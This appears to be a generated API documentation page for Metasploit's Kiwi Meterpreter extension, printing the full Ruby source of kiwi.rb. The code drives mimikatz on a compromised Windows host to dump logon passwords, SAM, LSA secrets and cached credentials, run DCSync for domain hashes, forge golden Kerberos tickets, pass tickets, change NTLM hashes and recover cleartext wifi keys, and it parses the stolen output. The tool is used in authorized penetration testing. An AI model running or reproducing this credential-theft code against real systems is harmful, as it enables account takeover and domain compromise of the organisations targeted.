Class: Rex::Post::Meterpreter::Extensions::Kiwi::Kiwi

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb

Overview

Kiwi extension - grabs credentials from windows memory.

Benjamin DELPY `gentilkiwi` blog.gentilkiwi.com/mimikatz

extension converted by OJ Reeves (TheColonial)

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#client, #name

Class Method Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Kiwi

Typical extension initialization routine.



34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 34

def initialize(client)
  super(client, 'kiwi')

  client.register_extension_aliases(
    [
      {
        'name' => 'kiwi',
        'ext'  => self
      },
    ])

  # by default, we want all output in base64, so fire that up
  # first so that everything uses this down the track
  exec_cmd('"base64 /in:on /out:on"')
end

Class Method Details

.extension_idObject



26
27
28
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 26

def self.extension_id
  EXTENSION_ID_KIWI
end

Instance Method Details

#creds_allObject



167
168
169
170
171
172
173
174
175
176
177
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 167

def creds_all
  output = exec_cmd('sekurlsa::logonpasswords')
  {
    msv: parse_msv(output),
    ssp: parse_ssp(output),
    livessp: parse_livessp(output),
    wdigest: parse_wdigest(output),
    tspkg: parse_tspkg(output),
    kerberos: parse_kerberos(output)
  }
end

#creds_kerberosObject



163
164
165
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 163

def creds_kerberos
  { kerberos: parse_kerberos(exec_cmd('sekurlsa::kerberos')) }
end

#creds_livesspObject



147
148
149
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 147

def creds_livessp
  { livessp: parse_livessp(exec_cmd('sekurlsa::livessp')) }
end

#creds_msvObject



151
152
153
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 151

def creds_msv
  { msv: parse_msv(exec_cmd('sekurlsa::msv')) }
end

#creds_sspObject



143
144
145
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 143

def creds_ssp
  { ssp: parse_ssp(exec_cmd('sekurlsa::ssp')) }
end

#creds_tspkgObject



159
160
161
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 159

def creds_tspkg
  { tspkg: parse_tspkg(exec_cmd('sekurlsa::tspkg')) }
end

#creds_wdigestObject



155
156
157
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 155

def creds_wdigest
  { wdigest: parse_wdigest(exec_cmd('sekurlsa::wdigest')) }
end

#dcsync(domain_user) ⇒ Object



97
98
99
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 97

def dcsync(domain_user)
  exec_cmd("\"lsadump::dcsync /user:#{domain_user}\"")
end

#dcsync_ntlm(domain_user) ⇒ Object



101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 101

def dcsync_ntlm(domain_user)
  result = {
    ntlm: '<NOT FOUND>',
    lm: '<NOT FOUND>',
    sid: '<NOT FOUND>',
    rid: '<NOT FOUND>'
  }

  output = dcsync(domain_user)
  return nil unless output.include?('Object RDN')

  output.lines.map(&:strip).each do |l|
    if l.start_with?('Hash NTLM: ')
      result[:ntlm] = l.split(' ')[-1]
    elsif l.start_with?('lm  - 0:')
      result[:lm] = l.split(' ')[-1]
    elsif l.start_with?('Object Security ID')
      result[:sid] = l.split(' ')[-1]
    elsif l.start_with?('Object Relative ID')
      result[:rid] = l.split(' ')[-1]
    end
  end

  result
end

#exec_cmd(cmd) ⇒ Object



50
51
52
53
54
55
56
57
58
59
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 50

def exec_cmd(cmd)
  request = Packet.create_request(COMMAND_ID_KIWI_EXEC_CMD)
  request.add_tlv(TLV_TYPE_KIWI_CMD, cmd)
  response = client.send_request(request)
  output = response.get_tlv_value(TLV_TYPE_KIWI_CMD_RESULT)
  # remove the banner up to the prompt
  output = output[output.index('mimikatz(powershell) #') + 1, output.length]
  # return everything past the newline from here
  output[output.index("\n") + 1, output.length]
end

#get_debug_privilegeObject



139
140
141
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 139

def get_debug_privilege
  exec_cmd('privilege::debug').strip == "Privilege '20' OK"
end

#golden_ticket_create(opts = {}) ⇒ Array<Byte>

Create a new golden kerberos ticket on the target machine and return it.

Parameters:

  • opts (Hash) (defaults to: {})

    The options to use when creating a new golden kerberos ticket.

Options Hash (opts):

  • :domain_name (String)

    Domain name.

  • :domain_sid (String)

    SID of the domain.

  • :end_in (Integer)

    How long to have the ticket last, in hours.

  • :group_ids (Array<Integer>)

    IDs of the groups to assign to the user

  • :id (Integer)

    ID of the user to grant the token for.

  • :krbtgt_hash (String)

    The kerberos ticket granting token.

  • :user (String)

    Name of the user to create the ticket for.

Returns:

  • (Array<Byte>)


431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 431

def golden_ticket_create(opts={})
  cmd = [
    "\"kerberos::golden /user:",
    opts[:user],
    " /domain:",
    opts[:domain_name],
    " /sid:",
    opts[:domain_sid],
    " /startoffset:0",
    " /endin:",
    opts[:end_in] * 60,
    " /krbtgt:",
    opts[:krbtgt_hash],
    "\""
  ].join('')

  if opts[:id]
    cmd << " /id:" + opts[:id].to_s
  end

  if opts[:group_ids]
    cmd << " /groups:" + opts[:group_ids]
  end

  output = exec_cmd(cmd)

  return nil unless output.include?('Base64 of file')

  saving = false
  content = []
  output.lines.map(&:strip).each do |l|
    if l.start_with?('Base64 of file')
      saving = true
    elsif saving
      if l.start_with?('====')
        next if content.length == 0
        break
      end
      content << l
    end
  end

  content.join('')
end

#kerberos_ticket_listString

List available kerberos tickets.

Returns:

  • (String)


392
393
394
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 392

def kerberos_ticket_list
  exec_cmd('kerberos::list')
end

#kerberos_ticket_purgevoid

This method returns an undefined value.

Purge any Kerberos tickets that have been added to the current session.



412
413
414
415
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 412

def kerberos_ticket_purge
  result = exec_cmd('kerberos::purge').strip
  'Ticket(s) purge for current session is OK' == result
end

#kerberos_ticket_use(base64_ticket) ⇒ void

This method returns an undefined value.

Use the given ticket in the current session.

Parameters:

  • base64_ticket (String)

    Content of the Kerberos ticket to use as a Base64 encoded string.



402
403
404
405
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 402

def kerberos_ticket_use(base64_ticket)
  result = exec_cmd("\"kerberos::ptt #{base64_ticket}\"")
  result.strip.end_with?(': OK')
end

#lsa_dump_cacheObject



135
136
137
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 135

def lsa_dump_cache
  exec_cmd('lsadump::cache')
end

#lsa_dump_samObject



131
132
133
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 131

def lsa_dump_sam
  exec_cmd('lsadump::sam')
end

#lsa_dump_secretsObject



127
128
129
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 127

def lsa_dump_secrets
  exec_cmd('lsadump::secrets')
end

#parse_kerberos(output) ⇒ Object



306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 306

def parse_kerberos(output)
  results = {}
  lines = output.lines

  while lines.length > 0 do
    line = lines.shift

    # search for an kerberos line
    next if line !~ /\skerberos\s:/

    line = lines.shift

    # are there interesting values?
    next if line.blank? || line !~ /\s*\*/

    # no, the next 3 lines should be interesting
    kerberos = {}
    3.times do
      k, v = read_value(line)
      kerberos[k.strip] = v if k
      line = lines.shift
    end

    if kerberos.length > 0
      results[kerberos.values.join('|')] = kerberos
    end
  end

  results.values
end

#parse_livessp(output) ⇒ Object

TODO make sure this works as expected



180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 180

def parse_livessp(output)
  results = {}
  lines = output.lines

  while lines.length > 0 do
    line = lines.shift

    # search for an livessp line
    next if line !~ /\slivessp\s:/

    line = lines.shift

    # are there interesting values?
    while line =~ /\[\d+\]/
      line = lines.shift
      # then the next 3 lines should be interesting
      livessp = {}
      3.times do
        k, v = read_value(line)
        livessp[k.strip] = v if k
        line = lines.shift
      end

      if livessp.length > 0
        results[livessp.values.join('|')] = livessp
      end
    end
  end

  results.values
end

#parse_msv(output) ⇒ Object



337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 337

def parse_msv(output)
  results = {}
  lines = output.lines

  while lines.length > 0 do
    line = lines.shift

    # search for an MSV line
    next if line !~ /\smsv\s:/

    line = lines.shift

    # loop until we find the 'Primary' entry
    while line !~ / Primary/ && !line.blank?
      line = lines.shift
    end

    # did we find something?
    next if line.blank?

    msv = {}
    # loop until we find a line that doesn't start with
    # an asterisk, as this is the next credential set
    loop do
      line = lines.shift
      if line.strip.start_with?('*')
        k, v = read_value(line)
        msv[k.strip] = v if k
      else
        lines.unshift(line)
        break
      end
    end

    if msv.length > 0
      results[msv.values.join('|')] = msv
    end
  end

  results.values
end

#parse_ssp(output) ⇒ Object



212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 212

def parse_ssp(output)
  results = {}
  lines = output.lines

  while lines.length > 0 do
    line = lines.shift

    # search for an ssp line
    next if line !~ /\sssp\s:/

    line = lines.shift

    # are there interesting values?
    while line =~ /\[\d+\]/
      line = lines.shift
      # then the next 3 lines should be interesting
      ssp = {}
      3.times do
        k, v = read_value(line)
        ssp[k.strip] = v if k
        line = lines.shift
      end

      if ssp.length > 0
        results[ssp.values.join('|')] = ssp
      end
    end
  end

  results.values
end

#parse_tspkg(output) ⇒ Object



275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 275

def parse_tspkg(output)
  results = {}
  lines = output.lines

  while lines.length > 0 do
    line = lines.shift

    # search for an tspkg line
    next if line !~ /\stspkg\s:/

    line = lines.shift

    # are there interesting values?
    next if line.blank? || line !~ /\s*\*/

    # no, the next 3 lines should be interesting
    tspkg = {}
    3.times do
      k, v = read_value(line)
      tspkg[k.strip] = v if k
      line = lines.shift
    end

    if tspkg.length > 0
      results[tspkg.values.join('|')] = tspkg
    end
  end

  results.values
end

#parse_wdigest(output) ⇒ Object



244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 244

def parse_wdigest(output)
  results = {}
  lines = output.lines

  while lines.length > 0 do
    line = lines.shift

    # search for an wdigest line
    next if line !~ /\swdigest\s:/

    line = lines.shift

    # are there interesting values?
    next if line.blank? || line !~ /\s*\*/

    # no, the next 3 lines should be interesting
    wdigest = {}
    3.times do
      k, v = read_value(line)
      wdigest[k.strip] = v if k
      line = lines.shift
    end

    if wdigest.length > 0
      results[wdigest.values.join('|')] = wdigest
    end
  end

  results.values
end

#password_change(opts) ⇒ Object



61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 61

def password_change(opts)
  cmd = "lsadump::changentlm /user:#{opts[:user]}"
  cmd << " /server:#{opts[:server]}" if opts[:server]
  cmd << " /oldpassword:#{opts[:old_pass]}" if opts[:old_pass]
  cmd << " /oldntlm:#{opts[:old_hash]}" if opts[:old_hash]
  cmd << " /newpassword:#{opts[:new_pass]}" if opts[:new_pass]
  cmd << " /newntlm:#{opts[:new_hash]}" if opts[:new_hash]

  output = exec_cmd("\"#{cmd}\"")
  result = {}

  if output =~ /^OLD NTLM\s+:\s+(\S+)\s*$/m
    result[:old] = $1
  end
  if output =~ /^NEW NTLM\s+:\s+(\S+)\s*$/m
    result[:new] = $1
  end

  if output =~ /^ERROR/m
    result[:success] = false
    if output =~ /^ERROR.*SamConnect/m
      result[:error] = 'Invalid server.'
    elsif output =~ /^ERROR.*Bad old/m
      result[:error] = 'Invalid old password or hash.'
    elsif output =~ /^ERROR.*SamLookupNamesInDomain/m
      result[:error] = 'Invalid user.'
    else
      result[:error] = 'Unknown error.'
    end
  else
    result[:success] = true
  end

  result
end

#read_value(line) ⇒ Object



379
380
381
382
383
384
385
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 379

def read_value(line)
  if line =~ /\s*\*\s([^:]*):\s(.*)/
    return $1, $2
  end

  return nil, nil
end

#wifi_listArray<Hash>

List all the wifi interfaces and the profiles associated with them. Also show the raw text passwords for each.

Returns:

  • (Array<Hash>)


532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 532

def wifi_list
  response_xml = exec_cmd('misc::wifi')
  results = []
  # TODO: check for XXE?
  doc = REXML::Document.new(response_xml)

  doc.get_elements('wifilist/interface').each do |i|
    interface = {
      :guid     => Rex::Text::to_guid(i.elements['guid'].text),
      :desc     => i.elements['description'].text,
      :state    => i.elements['state'].text,
      :profiles => []
    }

    i.get_elements('profiles/WLANProfile').each do |p|
      interface[:profiles] << {
        :name        => p.elements['name'].text,
        :auth        => p.elements['MSM/security/authEncryption/authentication'].text,
        :key_type    => p.elements['MSM/security/sharedKey/keyType'].text,
        :shared_key  => p.elements['MSM/security/sharedKey/keyMaterial'].text
      }
    end

    results << interface
  end

  return results
end

#wifi_parse_shared(wifi_interfaces) ⇒ Hash

Access and parse a set of wifi profiles using the given interfaces list, which contains the list of profile xml files on the target.

Returns:

  • (Hash)


481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 481

def wifi_parse_shared(wifi_interfaces)
  results = []

  exec_cmd('"base64 /in:off /out:on"')
  wifi_interfaces.keys.each do |key|
    interface = {
      :guid     => key,
      :desc     => nil,
      :state    => nil,
      :profiles => []
    }

    wifi_interfaces[key].each do |wifi_profile_path|
      cmd = "\"dpapi::wifi /in:#{wifi_profile_path} /unprotect\""
      output = exec_cmd(cmd)

      lines = output.lines

      profile = {
        :name        => nil,
        :auth        => nil,
        :key_type    => nil,
        :shared_key  => nil
      }

      while lines.length > 0 do
        line = lines.shift.strip
        if line =~ /^\* SSID name\s*: (.*)$/
          profile[:name] = $1
        elsif line =~ /^\* Authentication\s*: (.*)$/
          profile[:auth] = $1
        elsif line =~ /^\* Key Material\s*: (.*)$/
          profile[:shared_key] = $1
        end
      end

      interface[:profiles] << profile
    end

    results << interface
  end
  exec_cmd('"base64 /in:on /out:on"')

  results
end